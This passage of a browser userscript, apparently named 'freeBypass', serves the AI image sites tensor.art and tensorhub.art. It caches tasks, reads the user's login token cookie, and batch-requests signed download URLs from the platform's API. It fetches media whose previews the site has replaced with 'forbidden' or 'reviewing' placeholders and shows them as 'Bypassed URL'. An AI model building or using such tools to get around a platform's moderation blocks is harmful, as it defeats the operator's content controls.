        noRegain: cacheDeletions.noRegain.includes(String(imageId))
      });
    };

    itemMap.forEach((meta, imageId) => pushItem(imageId, meta));
    itemsData.forEach((item) => pushItem(item?.id || item?.imageId, item));

    return {
      exportedAt: new Date().toISOString(),
      version: SCRIPT_VERSION,
      tasks: Array.from(mergedTasks.values()),
      items: Array.from(mergedItems.values()),
      deletions: cloneToolData(cacheDeletions, { noRegain: [], hidden: [] }),
      stats: getCacheStatistics()
    };
  }

  function saveCache(cache) {
    const tasks = Array.isArray(cache?.tasks) ? cache.tasks.filter(Boolean) : [];
    const nextTaskCache = {};

    tasks.forEach((task) => {
      const key = task?.taskId || task?.routeId;
      if (!key) return;
      nextTaskCache[String(key)] = cloneToolData(task, task);
    });

    safeLocalStorageSet(TASK_CACHE_KEY, JSON.stringify(nextTaskCache));

    const nextDeletions = cache?.deletions && typeof cache.deletions === 'object'
      ? {
          noRegain: Array.isArray(cache.deletions.noRegain) ? Array.from(new Set(cache.deletions.noRegain.map(v => String(v)))) : [],
          hidden: Array.isArray(cache.deletions.hidden) ? Array.from(new Set(cache.deletions.hidden.map(v => String(v)))) : []
        }
      : cacheDeletions;

    cacheDeletions = nextDeletions;
    localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));

    taskMap.clear();
    itemMap.clear();
    blockedItems = new Set();
    itemsData = [];
    tabContentCache.clear();

    Object.values(nextTaskCache).forEach((task) => {
      recordTaskData(task);
    });
    loadCachedTasksIntoItems();
  }

  async function resetAllToolData() {
    const currentToken = await getToken().catch(() => null);
    clearContextMenu();
    stopAutoCheck();
    stopDomInjectionWatcher();
    stopTaskMonitoring();
    sharedNetWsDisconnect('reset-all-tool-data');

    try {
      const localKeys = [];
      for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        if (key && key.startsWith('freeBypass')) localKeys.push(key);
      }
      localKeys.forEach((key) => {
        try { localStorage.removeItem(key); } catch {}
      });
    } catch {}

    try {
      const sessionKeys = [];
      for (let i = 0; i < sessionStorage.length; i++) {
        const key = sessionStorage.key(i);
        if (key && key.startsWith('freeBypass')) sessionKeys.push(key);
      }
      sessionKeys.forEach((key) => {
        try { sessionStorage.removeItem(key); } catch {}
      });
    } catch {}

    try { writeSharedScriptStore(EXTERNAL_PLATFORM_SETTINGS_STORE_KEY, null); } catch {}
    try { if (typeof GM_setValue === 'function') GM_setValue(SHARED_NOTIFICATIONS_STORE_KEY, null); } catch {}
    try {
      if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
        await GM.setValue(SHARED_NOTIFICATIONS_STORE_KEY, null).catch(() => {});
      }
    } catch {}

    const deleteDb = (name) => new Promise((resolve) => {
      try {
        const req = indexedDB.deleteDatabase(name);
        req.onsuccess = () => resolve(true);
        req.onerror = () => resolve(false);
        req.onblocked = () => resolve(false);
      } catch {
        resolve(false);
      }
    });

    await Promise.allSettled([deleteDb('digenS'), deleteDb('higgsfield')]);

    clearAllCache(true);
    selectedItems.clear();
    taskActionsCache = null;
    mediaStatusCache = null;
    servicesStateCache = null;
    announcementCache = null;
    accountTasksCache = {};
    cachedUserAccounts = {};
    cachedUserProfiles = {};
    observedTensorProfiles = {};
    cachedTensorHubAccounts = {};
    tensorhubTasksCache = {};
    currentUserProfile = null;
    currentUserVipInfo = null;
    currentPreviewUserToken = null;
    tensorhubUserProfile = null;

    if (currentToken) {
      armTensorAccountDetection(currentToken, 'reset-all');
    } else {
      clearTensorAccountDetection('reset-all');
    }

    showToast('All tool data deleted. Reloading…', 'warning');
    setTimeout(() => {
      window.location.reload();
    }, 180);
  }

  // ============================================================================
  // TENSORHUB INTEGRATION FUNCTIONS
  // ============================================================================

  function getTensorhubUserToken() {
    // Only works on tensorhub.art domain
    if (window.location.hostname !== 'tensorhub.art') {
      return null;
    }

    // Extract ta_token_prod cookie from tensorhub domain
    const cookies = document.cookie.split(';');
    for (const cookie of cookies) {
      const [name, value] = cookie.trim().split('=');
      if (name === 'ta_token_prod') {
        return decodeURIComponent(value);
      }
    }
    return null;
  }

  async function syncTensorhubTasks() {
    try {
      const token = getTensorhubUserToken();
      if (!token) {
        console.warn('[TensorHub] No token available for syncing');
        return { newTasks: 0, duplicates: 0, errors: [] };
      }

      if (!settings.tensorhubLinkTasks) {
        return { newTasks: 0, duplicates: 0, errors: [] };
      }

      // Fetch tasks from TensorHub API
      const response = await fetch('https://api.tensorhub.art/works/v1/works/tasks/query', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'Authorization': `Bearer ${token}`,
          ...settings.headers
        },
        body: JSON.stringify({
          page: 1,
          limit: 100,
          sort: 'createTime',
          order: 'descend'
        })
      });

      if (!response.ok) {
        const error = `API error: ${response.status}`;
        console.error('[TensorHub]', error);
        return { newTasks: 0, duplicates: 0, errors: [error] };
      }

      const data = await response.json();
      let newCount = 0;
      let dupCount = 0;

      if (data.data?.tasks && Array.isArray(data.data.tasks)) {
        for (const tensorhubTask of data.data.tasks) {
          // Check if task already exists
          if (taskMap.has(tensorhubTask.id)) {
            dupCount++;
            continue;
          }

          // Record task with source tag
          const taskWithSource = {
            ...tensorhubTask,
            source: 'tensorhub.art',
            recordedAt: Date.now()
          };

          taskMap.set(tensorhubTask.id, taskWithSource);
          newCount++;

          // Record to localStorage
          try {
            const cached = JSON.parse(localStorage.getItem(CACHED_TASKS_KEY) || '{}');
            cached[tensorhubTask.id] = taskWithSource;
            localStorage.setItem(CACHED_TASKS_KEY, JSON.stringify(cached));
          } catch (e) {
            console.error('[TensorHub] Failed to cache task', e);
          }
        }
      }

      console.log(`[TensorHub] Synced ${newCount} new tasks, ${dupCount} duplicates`);
      return { newTasks: newCount, duplicates: dupCount, errors: [] };
    } catch (error) {
      console.error('[TensorHub] Sync error:', error);
      return { newTasks: 0, duplicates: 0, errors: [error.message] };
    }
  }

  function initTensorhubListener() {
    // Only initialize if on tensorhub domain and runOnTensorhub is enabled
    const isTensorhubDomain = window.location.hostname === 'tensorhub.art';
    if (!isTensorhubDomain || !settings.runOnTensorhub) {
      return;
    }

    // Already intercepting fetch globally - the fetch handler will detect tensorhub API calls
    console.log('[TensorHub] Listener initialized for domain:', window.location.hostname);
  }

  function filterTasksBySource(source = 'all') {
    if (source === 'all') {
      return Array.from(taskMap.values());
    }

    return Array.from(taskMap.values()).filter(task =>
      (task.source || 'tensor.art') === source
    );
  }

  function getMediaKindFromMime(mimeType) {
    const mt = String(mimeType || '').toLowerCase();
    if (mt.startsWith('video/')) return 'video';
    if (mt.startsWith('image/')) return 'image';
    return '';
  }

  function getExpectedMimeTypeForId(imageId, mimeTypeHint = '') {
    if (mimeTypeHint) return mimeTypeHint;
    const meta = itemMap.get(imageId) || {};
    const fromItems = itemsData.find(it => it?.id === imageId) || {};
    return meta.mimeType || fromItems.mimeType || '';
  }

  function getDownloadCacheKey(imageId, mimeTypeHint = '', forceKind = '') {
    const kind = forceKind || getMediaKindFromMime(getExpectedMimeTypeForId(imageId, mimeTypeHint));
    return kind ? `${imageId}|${kind}` : String(imageId);
  }

  function getCachedDownloadUrl(imageId, mimeTypeHint = '', forceKind = '') {
    if (!imageId) return null;
    if (!settings.cachingEnabled) return null;
    const maxAgeMs = (Number(settings.cacheDuration) || 7) * 24 * 60 * 60 * 1000;
    const now = Date.now();

    const isFresh = (key) => {
      const url = downloadUrlCache.get(key);
      const meta = normalizeCacheMeta(cacheTimestamps.get(key));
      let touched = false;
      // Migration: accept older entries and timestamp them now.
      if (!meta.ts || !Number.isFinite(meta.ts)) {
        meta.ts = now;
        touched = true;
      }
      // Backfill expAt using signed URL params.
      if (!meta.expAt && url) {
        const expAt = getSignedUrlExpiryMs(url);
        if (expAt) {
          meta.expAt = expAt;
          touched = true;
        }
      }
      if (touched) {
        setCacheMeta(key, meta);
        schedulePersistDownloadUrlCache();
      }
      if (isCacheEntryExpired(meta, now)) return false;
      return (now - meta.ts) <= maxAgeMs;
    };

    const tryKey = (key) => {
      if (!downloadUrlCache.has(key)) return null;
      const url = downloadUrlCache.get(key);
      if (!url) return null;
      if (!isFresh(key)) {
        downloadUrlCache.delete(key);
        cacheTimestamps.delete(key);
        schedulePersistDownloadUrlCache();
        return null;
      }
      return url;
    };

    const preferredKey = getDownloadCacheKey(imageId, mimeTypeHint, forceKind);
    const hit = tryKey(preferredKey);
    if (hit) return hit;

    // Legacy key (older versions cached by imageId only)
    const legacy = tryKey(String(imageId));
    if (legacy) return legacy;

    // Fallback: any cached kind for this id
    const prefix = `${imageId}|`;
    for (const [k] of downloadUrlCache.entries()) {
      if (String(k).startsWith(prefix)) {
        const any = tryKey(k);
        if (any) return any;
      }
    }
    return null;
  }

  function setCachedDownloadUrl(imageId, url, mimeTypeHint = '', forceKind = '') {
    if (!imageId || !url) return;
    const key = getDownloadCacheKey(imageId, mimeTypeHint, forceKind);
    downloadUrlCache.set(key, url);
    if (settings.cachingEnabled) {
      const expAt = getSignedUrlExpiryMs(url);
      setCacheMeta(key, { ts: Date.now(), expAt: expAt || null });
      if (shouldPersistDownloadCacheKey(key)) {
        schedulePersistDownloadUrlCache();
      }
    }
  }

  function deleteCachedDownloadUrl(imageId) {
    if (!imageId) return;
    // Remove legacy key
    downloadUrlCache.delete(imageId);
    cacheTimestamps.delete(imageId);
    downloadUrlCache.delete(String(imageId));
    cacheTimestamps.delete(String(imageId));

    // Remove per-kind keys
    const prefix = `${imageId}|`;
    for (const k of Array.from(downloadUrlCache.keys())) {
      if (String(k).startsWith(prefix)) {
        downloadUrlCache.delete(k);
        cacheTimestamps.delete(k);
      }
    }

    // Persisted store may include video keys; schedule a save to reflect deletions.
    schedulePersistDownloadUrlCache();
  }

  function extractDownloadUrlFromApiResponse(body, preferredKind = '') {
    const root = body?.data || body?.data?.data || {};

    const mk = (kind, entry) => {
      if (!entry) return null;
      if (typeof entry === 'string') return { kind, url: entry };
      if (typeof entry?.url === 'string') return { kind, url: entry.url };
      if (typeof entry?.downloadUrl === 'string') return { kind, url: entry.downloadUrl };
      return null;
    };

    const candidates = [];
    if (Array.isArray(root.videos)) {
      root.videos.forEach(v => {
        const c = mk('video', v);
        if (c?.url) candidates.push(c);
      });
    }
    if (Array.isArray(root.images)) {
      root.images.forEach(v => {
        const c = mk('image', v);
        if (c?.url) candidates.push(c);
      });
    }
    if (Array.isArray(root.items)) {
      root.items.forEach(v => {
        const kind = getMediaKindFromMime(v?.mimeType) || '';
        const c = mk(kind || 'image', v);
        if (c?.url) candidates.push(c);
      });
    }
    if (Array.isArray(root.medias)) {
      root.medias.forEach(v => {
        const kind = getMediaKindFromMime(v?.mimeType) || '';
        const c = mk(kind || 'image', v);
        if (c?.url) candidates.push(c);
      });
    }

    if (!candidates.length) return null;
    if (preferredKind) {
      const hit = candidates.find(c => c.kind === preferredKind);
      if (hit?.url) return hit.url;
    }
    return candidates[0].url || null;
  }

  // ── Broken Requests Cache Helpers ──────────────────────────────────────────
  function getBrokenRequestCacheKey(url, payload) {
    try {
      const payloadStr = typeof payload === 'string' ? payload : JSON.stringify(
        Object.fromEntries(Object.entries(typeof payload === 'object' && payload !== null ? payload : {}).sort())
      );
      return `${url}|${payloadStr}`;
    } catch { return `${url}|`; }
  }

  function isBrokenRequest(url, payload) {
    if (!settings.brokenRequestsCacheEnabled) return false;
    const key = getBrokenRequestCacheKey(url, payload);
    return Object.prototype.hasOwnProperty.call(brokenRequestsCache, key);
  }

  function markBrokenRequest(url, payload, status) {
    if (!settings.brokenRequestsCacheEnabled) return;
    if (!settings.brokenRequestsCacheStatusCodes.includes(Number(status))) return;
    const key = getBrokenRequestCacheKey(url, payload);
    brokenRequestsCache[key] = { url, payload: typeof payload === 'string' ? payload : JSON.stringify(payload), status: Number(status), cachedAt: Date.now() };
    try { localStorage.setItem(BROKEN_REQUESTS_CACHE_KEY, JSON.stringify(brokenRequestsCache)); } catch { /* ignore */ }
    tensorInterceptLog('warning', `[BrokenCache] Cached broken request (${status})`, { url, key });
  }

  function clearBrokenRequestsCache() {
    brokenRequestsCache = {};
    try { localStorage.removeItem(BROKEN_REQUESTS_CACHE_KEY); } catch { /* ignore */ }
  }

  function removeBrokenRequestEntry(key) {
    delete brokenRequestsCache[key];
    try { localStorage.setItem(BROKEN_REQUESTS_CACHE_KEY, JSON.stringify(brokenRequestsCache)); } catch { /* ignore */ }
  }
  // ────────────────────────────────────────────────────────────────────────────

  // ── Batch Download URL Helpers ───────────────────────────────────────────────
  function scheduleDownloadUrlBatchFlush() {
    if (_downloadUrlBatchFlushTimer) return; // already scheduled
    _downloadUrlBatchFlushTimer = setTimeout(() => {
      _downloadUrlBatchFlushTimer = null;
      flushDownloadUrlBatch();
    }, DOWNLOAD_URL_BATCH_DEBOUNCE_MS);
  }

  async function fetchDownloadUrlBatch(imageIds, token) {
    // Returns Map<imageId, url> from a single batch API request.
    const headers = {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json',
      ...settings.headers
    };
    const res = await fetch(apiUrlImage, {
      method: 'POST',
      headers,
      body: JSON.stringify({ ids: imageIds })
    });
    if (!res.ok) {
      throw new Error(`Batch download URL request failed: ${res.status} ${res.statusText}`);
    }
    const data = await res.json();
    const images = data?.data?.images || [];
    const urlMap = new Map();
    for (const img of images) {
      const id = String(img?.imageId || img?.id || '');
      const url = img?.url || img?.downloadUrl || '';
      if (id && url) urlMap.set(id, url);
    }
    return urlMap;
  }

  async function flushDownloadUrlBatch() {
    if (_downloadUrlBatchFlushing) {
      // Already running — re-schedule after current batch finishes
      setTimeout(flushDownloadUrlBatch, DOWNLOAD_URL_BATCH_INTERVAL_MS);
      return;
    }
    if (_downloadUrlBatchQueue.size === 0) return;
    _downloadUrlBatchFlushing = true;
    try {
      const token = await getToken();
      if (!token) {
        for (const [, entry] of _downloadUrlBatchQueue) entry.reject(new Error('No auth token'));
        _downloadUrlBatchQueue.clear();
        return;
      }
      while (_downloadUrlBatchQueue.size > 0) {
        const entries = Array.from(_downloadUrlBatchQueue.entries()).slice(0, DOWNLOAD_URL_BATCH_SIZE);
        const batchIds = entries.map(([id]) => id);
        batchIds.forEach(id => _downloadUrlBatchQueue.delete(id));
        const hasMore = _downloadUrlBatchQueue.size > 0;
        try {
          const urlMap = await fetchDownloadUrlBatch(batchIds, token);
          for (const [imageId, entry] of entries) {
            const url = urlMap.get(String(imageId)) || null;
            if (url) {
              setCachedDownloadUrl(imageId, url, entry.mimeTypeHint, entry.forceKind);
            }
            entry.resolve(url);
          }
          if (domInjectDebug) tensorInterceptLog('success', `[BatchFetch] ${urlMap.size}/${batchIds.length} URLs in one request`, {
            batchSize: batchIds.length, resolved: urlMap.size, missed: batchIds.length - urlMap.size
          });
        } catch (err) {
          tensorInterceptLog('error', '[BatchFetch] Batch request failed', { error: String(err?.message || err) });
          for (const [, entry] of entries) entry.reject(err);
        }
        if (hasMore) {
          await new Promise(r => setTimeout(r, DOWNLOAD_URL_BATCH_INTERVAL_MS));
        }
      }
    } finally {
      _downloadUrlBatchFlushing = false;
    }
  }
  // ────────────────────────────────────────────────────────────────────────────

  async function fetchDownloadUrlFromEndpoint(endpointUrl, id, token, preferredKind = '') {
    const headers = {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json',
      ...settings.headers
    };
    const payloadObj = { ids: [id] };
    const payloadJson = JSON.stringify(payloadObj);

    // Skip known-broken endpoint+payload combos
    if (isBrokenRequest(endpointUrl, payloadJson)) {
      throw new Error(`Request skipped: cached as broken (${endpointUrl})`);
    }

    const res = await fetch(endpointUrl, {
      method: 'POST',
      headers,
      body: payloadJson
    });

    if (!res.ok) {
      markBrokenRequest(endpointUrl, payloadJson, res.status);
      const text = await res.text().catch(() => '');
      throw new Error(`Request failed: ${res.status} ${res.statusText} ${text}`);
    }

    const data = await res.json();
    const url = extractDownloadUrlFromApiResponse(data, preferredKind);
    return url || null;
  }

  // Console test helper: testMultiIdApi(count)
  // Grabs `count` random IDs from itemsData/itemMap/downloadUrlCache, sends them all in one
  // request using the same auth + headers as fetchDownloadUrlFromEndpoint, and logs the result.
  // Exposed on unsafeWindow so it's accessible from the browser console (isolated world).
  const _pageWin = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
  _pageWin.testMultiIdApi = async function testMultiIdApi(ids_count = 2) {
    // Collect candidate IDs from all known sources
    const candidateIds = new Set();
    for (const item of itemsData) { if (item.id) candidateIds.add(String(item.id)); }
    for (const [k] of itemMap) { candidateIds.add(String(k)); }
    for (const [k] of downloadUrlCache) { candidateIds.add(String(k)); }

    const allIds = [...candidateIds];
    if (allIds.length === 0) {
      console.warn('[testMultiIdApi] No cached IDs found. Browse some tensor pages first to populate the cache.');
      return null;
    }

    // Pick random IDs
    const shuffled = allIds.sort(() => Math.random() - 0.5);
    const pickedIds = shuffled.slice(0, Math.min(ids_count, allIds.length));

    // Auth
    let token = await getToken();
    if (!token) { console.error('[testMultiIdApi] No auth token found — please log in.'); return null; }

    const endpointUrl = apiUrlImage;
    const headers = {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json',
      ...settings.headers
    };
    const payloadObj = { ids: pickedIds };
    const payloadJson = JSON.stringify(payloadObj);

    console.log(`[testMultiIdApi] Sending ${pickedIds.length} IDs to ${endpointUrl}`);
    console.log('[testMultiIdApi] Payload:', payloadObj);

    let res;
    try {
      res = await fetch(endpointUrl, { method: 'POST', headers, body: payloadJson });
    } catch (err) {
      console.error('[testMultiIdApi] Fetch error:', err);
      return null;
    }

    const rawText = await res.text().catch(() => '');
    let parsed = null;
    try { parsed = JSON.parse(rawText); } catch { parsed = rawText; }

    console.log(`[testMultiIdApi] Status: ${res.status} ${res.statusText}`);
    console.log('[testMultiIdApi] Response:', parsed);

    if (res.ok && parsed && parsed.data) {
      const images = parsed.data?.images || parsed.data?.list || [];
      console.log(`[testMultiIdApi] Got ${images.length} result(s) back — multi-ID ${ images.length > 1 ? 'WORKS ✅' : 'returned only 1 result'}`);
      images.forEach((img, i) => console.log(`  [${i}] id=${img.imageId || img.id}  url=${img.url ? img.url.slice(0, 80) + '...' : 'N/A'}`));
    }

    return { status: res.status, ids: pickedIds, response: parsed };
  };

  async function resolveDownloadUrl(imageId, mimeTypeHint = '', options = {}) {
    if (!imageId) return null;

    const expectedMime = getExpectedMimeTypeForId(imageId, mimeTypeHint);
    const expectedKind = options.forceKind || getMediaKindFromMime(expectedMime);
    const minExpiryMs = Math.max(SIGNED_URL_EXPIRY_SAFETY_MS, Number(options?.minExpiryMs) || 0);

    // First: prefer any already known non-blocked URL in metadata
    const meta = itemMap.get(imageId) || {};
    const known = meta.url;
    if (isUsableBypassMediaUrl(known, { minRemainingMs: minExpiryMs })) {
      const expAt = getSignedUrlExpiryMs(known);
      if (!expAt || Date.now() < (expAt - minExpiryMs)) {
        return known;
      }
    }

    // Token check: if the ID belongs to a specific account, only the batch matters
    // (the batch flusher calls getToken() once for all queued IDs).
    // We still do a quick synchronous check so we can fail fast if clearly no auth.
    const knownToken = getTokenForImageId(imageId);
    if (!knownToken) {
      // Don't await here — let the batch handle token acquisition
    }

    // Diagnostics
    lastAuthTokenUsed = null; // will be set when the batch fires
    lastAuthTokenUsedAt = Date.now();
    lastAuthTokenUsedContext = `downloadUrl:${imageId}`;
    if (domInjectDebug) {
      console.log('[Auth] Queuing batch download URL resolve', { imageId, expectedKind });
    }

    // Add to batch queue — the batch flush will collect all pending IDs
    // and send them in groups of 30 (DOWNLOAD_URL_BATCH_SIZE), reducing
    // network requests vs. one-request-per-id.
    const key = String(imageId);
    if (_downloadUrlBatchQueue.has(key)) {
      // Already queued from another concurrent call — chain onto it
      const existing = _downloadUrlBatchQueue.get(key);
      return new Promise((resolve, reject) => {
        const origResolve = existing.resolve;
        const origReject = existing.reject;
        existing.resolve = (url) => { origResolve(url); resolve(url); };
        existing.reject = (err) => { origReject(err); reject(err); };
      });
    }
    return new Promise((resolve, reject) => {
      _downloadUrlBatchQueue.set(key, { resolve, reject, mimeTypeHint, forceKind: expectedKind });
      scheduleDownloadUrlBatchFlush();
    });
  }

  async function downloadImage(id, openTab = true) {
    // Back-compat: image-focused resolver
    const url = await resolveDownloadUrl(id, 'image/*', { forceKind: 'image' });
    if (!url) throw new Error('Failed to resolve image download URL');
    if (openTab) {
      window.open(url, '_blank');
    }
    return url;
  }

  function escapeHtml(value) {
    return String(value ?? '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&quot;')
      .replace(/'/g, '&#39;');
  }

  function sanitizeFilename(name) {
    const normalized = String(name || 'media').trim().replace(/[\\/:*?"<>|]+/g, '_');
    return normalized || 'media';
  }

  function extFromMime(mimeType) {
    if (!mimeType) return '';
    const normalized = String(mimeType).toLowerCase().split(';')[0].trim();
    const map = {
      'image/jpeg': 'jpg',
      'image/jpg': 'jpg',
      'image/png': 'png',
      'image/webp': 'webp',
      'image/gif': 'gif',
      'image/avif': 'avif',
      'video/mp4': 'mp4',
      'video/webm': 'webm',
      'video/quicktime': 'mov',
      'video/x-matroska': 'mkv',
      'audio/mpeg': 'mp3'
    };
    if (map[normalized]) return map[normalized];
    if (normalized.includes('/')) {
      return normalized.split('/')[1].replace('jpeg', 'jpg');
    }
    return '';
  }

  function extFromUrl(url) {
    if (!url) return '';
    const cleanUrl = String(url).split('?')[0].split('#')[0];
    const match = cleanUrl.match(/\.([a-zA-Z0-9]{2,8})$/);
    return match ? match[1].toLowerCase() : '';
  }

  function ensureFilenameExtension(filename, preferredExt) {
    const safe = sanitizeFilename(filename || 'media');
    const currentMatch = safe.match(/\.([a-zA-Z0-9]{2,8})$/);
    const currentExt = currentMatch ? currentMatch[1].toLowerCase() : '';
    if (!preferredExt) return safe;
    if (currentExt === preferredExt.toLowerCase()) return safe;
    const base = currentExt ? safe.slice(0, -(currentExt.length + 1)) : safe;
    return `${base}.${preferredExt}`;
  }

  function getFilenameForItem(imageId, fallbackUrl = '', fallbackMimeType = '') {
    const meta = itemMap.get(imageId) || {};
    const preferredName = meta.downloadFileName || `tensor_${imageId}`;
    const ext = extFromMime(meta.mimeType || fallbackMimeType) || extFromUrl(meta.url || fallbackUrl) || 'bin';
    return ensureFilenameExtension(preferredName, ext);
  }

  function withTimeout(promise, ms = 12000) {
    return Promise.race([
      promise,
      new Promise(resolve => setTimeout(() => resolve(null), ms))
    ]);
  }

  async function downloadMediaFromUrl(url, filename, imageId = null, mimeTypeHint = '', attempt = 0) {
    const res = await fetch(url);
    if (!res.ok) {
      // Signed URLs expire; retry once by refreshing the bypassed link.
      if (res.status === 403 && imageId && attempt < 2) {
        try {
          deleteCachedDownloadUrl(imageId);
          const forceKind = getMediaKindFromMime(mimeTypeHint) || '';
          const fresh = await ensureDownloadUrl(imageId, mimeTypeHint, { bypassCache: true, forceKind });
          if (fresh && fresh !== url) {
            return await downloadMediaFromUrl(fresh, filename, imageId, mimeTypeHint, attempt + 1);
          }
        } catch {
          // fall through
        }
      }
      throw new Error(`Download failed: ${res.status} ${res.statusText}`);
    }
    const blob = await res.blob();

    // Safety: if we expect a video but received an image payload, try resolving again via video endpoint.
    if (
      settings.verifyMediaDownloads &&
      attempt === 0 &&
      imageId &&
      getMediaKindFromMime(mimeTypeHint) === 'video' &&
      String(blob.type || '').toLowerCase().startsWith('image/')
    ) {
      try {
        // Purge cached URL(s) for this id since they likely point to a thumbnail.
        deleteCachedDownloadUrl(imageId);
        if (settings.developerModeEnabled) {
          addDeveloperLog({
            level: 'warn',
            tag: 'download',
            source: 'downloadMediaFromUrl',
            message: 'Expected video but got image payload; retrying resolver',
            details: { imageId, mimeTypeHint, url, blobType: blob.type }
          });
        }
        const nextUrl = await ensureDownloadUrl(imageId, mimeTypeHint, { forceKind: 'video', bypassCache: true });
        if (nextUrl && nextUrl !== url) {
          return await downloadMediaFromUrl(nextUrl, filename, imageId, mimeTypeHint, attempt + 1);
        }
      } catch {
        // fall through to save what we got
      }
    }

    const extHint = extFromMime(blob.type) || extFromMime(mimeTypeHint) || extFromUrl(url) || 'bin';
    const finalName = ensureFilenameExtension(filename || 'media', extHint);
    const objectUrl = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = objectUrl;
    a.download = finalName;
    document.body.appendChild(a);
    a.click();
    a.remove();
    URL.revokeObjectURL(objectUrl);
    if (imageId) {
      updateMediaStatus(imageId, { downloaded: true });
      const meta = getItemMetaFromId(imageId);
      markTaskActionDone('download', imageId, 'done', meta);
    }
  }

  function guessExtension(mimeType, url) {
    return extFromMime(mimeType) || extFromUrl(url) || 'png';
  }

  async function downloadMediaById(imageId, mimeType) {
    const url = await ensureDownloadUrl(imageId, mimeType);
    if (!url) throw new Error('Failed to resolve download URL');
    const filename = getFilenameForItem(imageId, url, mimeType);
    await downloadMediaFromUrl(url, filename, imageId, mimeType);
  }

  async function getPreviewUrlForItem(item) {
    if (!item?.id) return null;
    if (item.url && !/forbidden\.jpg|reviewing\.png/i.test(item.url)) return item.url;
    const meta = itemMap.get(item.id) || {};
    if (meta.url && !/forbidden\.jpg|reviewing\.png/i.test(meta.url)) {
      item.url = meta.url;
      return meta.url;
    }
    const resolved = await withTimeout(ensureDownloadUrl(item.id, item.mimeType || meta.mimeType || ''), 10000);
    if (resolved) {
      item.url = resolved;
    }
    return resolved;
  }

  function linkifyTextContent(value) {
    const raw = String(value ?? '');
    const urlRegex = /https?:\/\/[^\s"'<>]+/gi;
    let last = 0;
    let out = '';
    let match;
    while ((match = urlRegex.exec(raw)) !== null) {
      const index = match.index;
      const url = match[0];
      out += escapeHtml(raw.slice(last, index));
      const safeUrl = escapeHtml(url);
      out += `<a href="${safeUrl}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;word-break:break-all;">${safeUrl}</a>`;
      last = index + url.length;
    }
    out += escapeHtml(raw.slice(last));
    return out;
  }

  function registerForcePreviewLoader(itemId, loader) {
    if (!itemId || typeof loader !== 'function') return;
    forcePreviewLoaders.set(itemId, loader);
  }

  async function forceLoadPreviewForItem(itemId) {
    const loader = forcePreviewLoaders.get(itemId);
    if (!loader) return false;
    try {
      await loader(true);
      return true;
    } catch {
      return false;
    }
  }

  function buildDetailValueBlock(value, allowLink = false) {
    const text = String(value ?? '').trim();
    const content = allowLink ? linkifyTextContent(text) : escapeHtml(text);
    return `<div style="font-family:'Courier New', monospace;font-size:11px;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;word-break:break-all;overflow:hidden;">${content}</div>`;
  }

  function getDetailRows(item, taskData, sourceUrl = '') {
    const rows = [];
    if (!settings.showDetailedInfo) return rows;
    const details = settings.detailedInfoFields || {};
    if (details.taskId) {
      rows.push(`<div><strong>Task ID:</strong> <code style="background:#1e293b;padding:4px 8px;border-radius:4px;display:inline-block;margin-top:2px;">${escapeHtml(item?.taskId || taskData?.taskId || taskData?.routeId || 'N/A')}</code></div>`);
    }

    // Add source field if available
    const source = item?.source || taskData?.source || 'tensor.art';
    const sourceIcon = source === 'tensorhub.art' ? '<i class="fas fa-link"></i>' : '<i class="fas fa-palette"></i>';
    const sourceLink = source === 'tensorhub.art' ? 'https://tensorhub.art' : 'https://tensor.art';
    rows.push(`<div style="margin-top: 8px;"><strong>Source:</strong> <a href="${sourceLink}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;text-decoration:none;font-weight:600;${source === 'tensorhub.art' ? 'color:#a78bfa;' : ''}">${sourceIcon} ${escapeHtml(source)}</a></div>`);

    if (details.dates) {
      const createdTs = normalizeTimestamp(item?.createdAt || taskData?.createdAt);
      const expireTs = normalizeTimestamp(item?.expiresAt || item?.expireAt || taskData?.expireAt);
      rows.push(`<div style="margin-top: 8px;"><strong>Created:</strong> ${createdTs ? escapeHtml(new Date(createdTs).toLocaleString()) : 'N/A'}</div>`);
      rows.push(`<div style="margin-top: 8px;"><strong>Expires:</strong> ${expireTs ? escapeHtml(new Date(expireTs).toLocaleString()) : 'N/A'}</div>`);
    }
    if (details.size && item?.width && item?.height) {
      rows.push(`<div style="margin-top: 8px;"><strong>Size:</strong> ${escapeHtml(`${item.width} × ${item.height}px`)}</div>`);
    }
    if (details.mimeType && item?.mimeType) {
      rows.push(`<div style="margin-top: 8px;"><strong>MIME:</strong> ${escapeHtml(item.mimeType)}</div>`);
    }
    if (details.workflow) {
      const tpl = taskData?.workflowTemplateInfo || taskData?.workflowInfo || null;
      const templateId = tpl?.workflowTemplateId || tpl?.workflowId || '';
      const templateName = tpl?.name || '';
      if (templateId || templateName) {
        const templateUrl = templateId ? `https://tensor.art/template/${templateId}` : '';
        rows.push(`<div style="margin-top: 8px;"><strong>Template:</strong> ${escapeHtml(templateName || 'Unknown')} ${templateId ? `<a href="${templateUrl}" target="_blank" rel="noopener noreferrer" style="margin-left:6px;color:#93c5fd;text-decoration:none;font-family:'Courier New', monospace;">${escapeHtml(templateId)}</a>` : ''}</div>`);
      }
    }
    if (details.visualParameters && Array.isArray(taskData?.visualParameters) && taskData.visualParameters.length) {
      const blocks = taskData.visualParameters.slice(0, 12).map((entry) => {
        const name = escapeHtml(entry?.name || 'Param');
        const value = buildDetailValueBlock(entry?.value || '', true);
        return `<div style="margin-top:8px;"><strong>${name}:</strong>${value}</div>`;
      }).join('');
      rows.push(`<div style="margin-top:8px;"><strong>Visual Parameters:</strong>${blocks}</div>`);
    }
    if (details.parameters && taskData?.parameters) {
      rows.push(`<div style="margin-top:8px;"><strong>Parameters:</strong>${buildDetailValueBlock(taskData.parameters, true)}</div>`);
    }
    if (details.sourceUrl && sourceUrl && settings.showBypassedLink) {
      rows.push(`<div style="margin-top:8px;"><strong>Bypassed URL:</strong>${buildDetailValueBlock(sourceUrl, true)}</div>`);
    }
    return rows;
  }

  async function copyBypassedLinks(format = 'text') {
